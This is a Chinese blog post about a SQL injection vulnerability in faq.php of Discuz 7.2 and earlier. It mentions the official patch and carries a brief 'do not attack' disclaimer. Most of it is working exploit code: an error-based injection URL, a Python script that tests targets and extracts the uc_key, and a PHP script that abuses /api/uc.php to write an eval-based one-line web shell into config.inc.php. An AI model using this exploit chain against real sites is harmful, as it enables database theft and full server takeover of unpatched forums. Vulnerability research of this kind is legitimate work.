>从Discuz 7.2严重注入漏洞到GetShell

  • A+
所属分类:业界关注

在昨天下午,突然惊现一个Discuz的注入漏洞,影响Discuz 7.2及以下版本,都是比较老的了,但是由于很多老网站都没有及时升级版本的习惯,影响范围是比较大的。由于乌云的一个猪队友公司,提前暴露了漏洞的细节,导致乌云的细节未公开,各种exp就已经满天飞了,没图我说个杰宝,这是我今天监测到的,昨天的我就不贴了。

discuz72

本漏洞官方已经发布补丁,请使用discuz 7.2以及以前版本的论坛尽早升级,地址:
http://www.discuz.net/thread-3579915-1-1.html

本文仅为探讨漏洞成因以及漏洞的最坏后果,请勿使用本漏洞对任何网站进行攻击。这个漏洞的问题主要出在faq.php这个文件中,addslashes害死人啊,哎哎哎,由于程序员在取值的时候没有考虑到会有”\”自动加在前面,导致悲剧的发生。poc如下:

http://localhost/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

访问之后你会发现user()已经被回显过来了

discuz7.2

这个时候,拿数据库的内容肯定是没有压力的了,那么如何GetShell呢,如果需要直接GetShell,我们需要获得uc_key,这个已经是一个很早前的技巧了,可能很多人都忘了,而且这个key是可以直接从数据库中读出来的,那么就可以妥妥的开干了,写个小脚本来分两段读key吧。

# -*- coding: utf-8 -*-
import urllib2
import sys

reload(sys) 
sys.setdefaultencoding( "utf-8" )

def get_url(url):
    #print url
    req = urllib2.Request(url)
    res = urllib2.urlopen(req)
    html = res.read()
    res.close()
    return html

def get_cut_result(source):
    return source[source.find("Duplicate entry")+17:source.find("for key")-3]

def main(sitedomain):
    key_table_name="uc_applications"
    #key_table_name="cdb_uc_applications"
    #Define the table name
    if_vul_url="/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23"
    if_vunl_html=get_url(sitedomain+if_vul_url)
    if if_vunl_html.find("Duplicate entry")>0:
        print "Target is vulnerable,continue"
        key1=get_url(sitedomain+"/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20substr%28authkey%2C1%2C62%29%20from%20"+key_table_name+"%20limit%201),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23")
        key1=get_cut_result(key1)
        key2=get_url(sitedomain+"/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20substr%28authkey%2C63%2C60%29%20from%20"+key_table_name+"%20limit%201),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23")
        key2=get_cut_result(key2)
        print key1+key2
    else:
        print "Target is not vulnerable"

if __name__ == '__main__':
    if len(sys.argv)!=2:
        print "usage:discuz.py sitedomain(example:http://www.bb.com)"
        sys.exit(1)
    sitedomain=sys.argv[1]
    main(sitedomain)

uc_key

 

拿到了key,就可以利用discuz的uc_key来getshell了,原理也很简单,在写配置文件的时候,过滤有问题,导致可以在提交配置文件的时候,把一句话写入配置文件中,具体可以去搜相关文章。总之作为后人,我们要做的就是微笑就可以了。由于涉及到key的加密解密函数,直接从源码copy,因此这个漏洞的exp用的大多是php,成功以后,会在根目录的config.inc.php文件中写入一句话木马。

<?php
    $timestamp = time()+10*3600;
    $host="localhost";
    $uc_key="B3bbg0GdB7g9j6T670Y5X64ci7G6r448Xcc9O3O923T703T36fc8NaS3u4beob58";
    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">xxx\');eval($_POST[sharlock]);//</item>
</root>';
    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">aaa</item>
</root>';
    $html1 = send($cmd1);
    echo $html1;
    $html2 = send($cmd2);
    echo $html2;

function send($cmd){
    global $host,$code;
    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5

(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', 

$expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) 

== substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}
?>

getshell

 

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: